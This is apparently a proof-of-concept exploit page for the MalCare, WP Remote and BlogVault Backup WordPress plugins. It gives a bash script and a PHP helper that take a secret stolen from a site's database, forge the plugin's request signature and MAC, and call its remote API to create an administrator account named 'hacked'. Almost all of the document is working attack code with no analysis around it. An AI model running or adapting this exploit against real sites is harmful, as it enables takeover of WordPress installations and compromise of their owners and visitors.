Running the PoC
bash poc.sh <siteurl> <malcare|wpremote|bvbackup> <secret-from-db>
Running the PoC
bash poc.sh <siteurl> <malcare|wpremote|bvbackup> <secret-from-db>
| #!/bin/bash | |
| # poc.sh | |
| # Usage: bash poc.sh <siteurl> <malcare|wpremote|bvbackup> <secret-from-db>" | |
| SITE_URL=$1 | |
| PLUGIN=$2 | |
| SECRET=$3 | |
| if [ -z "$SITE_URL" ]; then | |
| echo "Usage: bash poc.sh <siteurl> <malcare|wpremote|bvbackup> <secret-from-db>" | |
| exit 1 | |
| fi | |
| if [ -z "$SECRET" ]; then | |
| echo "Usage: bash poc.sh <siteurl> <malcare|wpremote|bvbackup> <secret-from-db>" | |
| exit 1 | |
| fi | |
| case "$PLUGIN" in | |
| "malcare"|"wpremote"|"bvbackup") | |
| # Do nothing or perform some action if the value is valid. | |
| ;; | |
| *) | |
| echo "Plugin must be one of 'malcare|wpremote|bvbackup'." | |
| exit 1 | |
| ;; | |
| esac | |
| function addAdminUser() { | |
| php poc.php "$SITE_URL" "$PLUGIN" "$SECRET" "manage" "adusr" '{ | |
| "args": { | |
| "user_login": "hacked", | |
| "user_email": "[email protected]", | |
| "role": "administrator", | |
| "user_pass": "password" | |
| } | |
| }' | |
| } | |
| addAdminUser |
| <?php | |
| // poc.php | |
| declare(strict_types=1); | |
| // No need to change this. | |
| const RANDOM_ACCOUNT_KEY_32_CHARS = 'KDogQ121k33pm7CBqSCnJcPo2SWfzC7v'; | |
| // No need to change this. | |
| const TIMESTAMP = 1893456000; | |
| // No need to change this. | |
| const BLOGVAULT_VERSION = '1'; | |
| $input = $_SERVER['argv']; | |
| $site_url = $input[1]; | |
| $plugin = $input[2]; | |
| $stolen_secret = $input[3]; | |
| // This corresponds to the actions the remote API can perform. | |
| // See BVCallbackHandler:routeRequest(). | |
| $blogvault_wing = $input[4]; | |
| // This is the "sub-action" each feature can perform. | |
| // See BVManageCallback::process() as an example. | |
| $blog_vault_method = $input[5]; | |
| $params_as_json = $input[6]; | |
| $expected_auth_sig = md5($blog_vault_method.$stolen_secret.TIMESTAMP.BLOGVAULT_VERSION); | |
| $expected_mac = hash_hmac('md5', $params_as_json, $stolen_secret); | |
| $postData = [ | |
| 'bvplugname' => $plugin, | |
| 'pubkey' => RANDOM_ACCOUNT_KEY_32_CHARS, | |
| 'rcvracc' => '1', | |
| 'wing' => $blogvault_wing, | |
| 'bvMethod' => $blog_vault_method, | |
| 'bvTime' => TIMESTAMP, | |
| 'bvVersion' => BLOGVAULT_VERSION, | |
| 'sig' => $expected_auth_sig, | |
| 'bvprms' => $params_as_json, | |
| 'unser' => ['bvprms'], | |
| 'bvprmsmac' => $expected_mac, | |
| 'bvprmshshalgo' => 'md5', | |
| ]; | |
| $ch = curl_init($site_url); | |
| curl_setopt($ch, CURLOPT_POST, true); | |
| curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($postData)); | |
| curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); | |
| $response = curl_exec($ch); | |
| // Remove the "bvb64bvb64" prefix and suffix | |
| $response = trim($response, 'bvb64bvb64'); | |
| // Base64 decode the response | |
| $response = base64_decode($response); | |
| // Remove the "bvbvbvbvbv" prefix and suffix | |
| $response = trim($response, 'bvbvbvbvbv'); | |
| // Unserialize the response | |
| $responseArray = unserialize($response); | |
| // Convert the response array to a JSON array | |
| $jsonResponse = json_encode($responseArray, JSON_PRETTY_PRINT); | |
| echo $jsonResponse; | |
| echo "\n"; |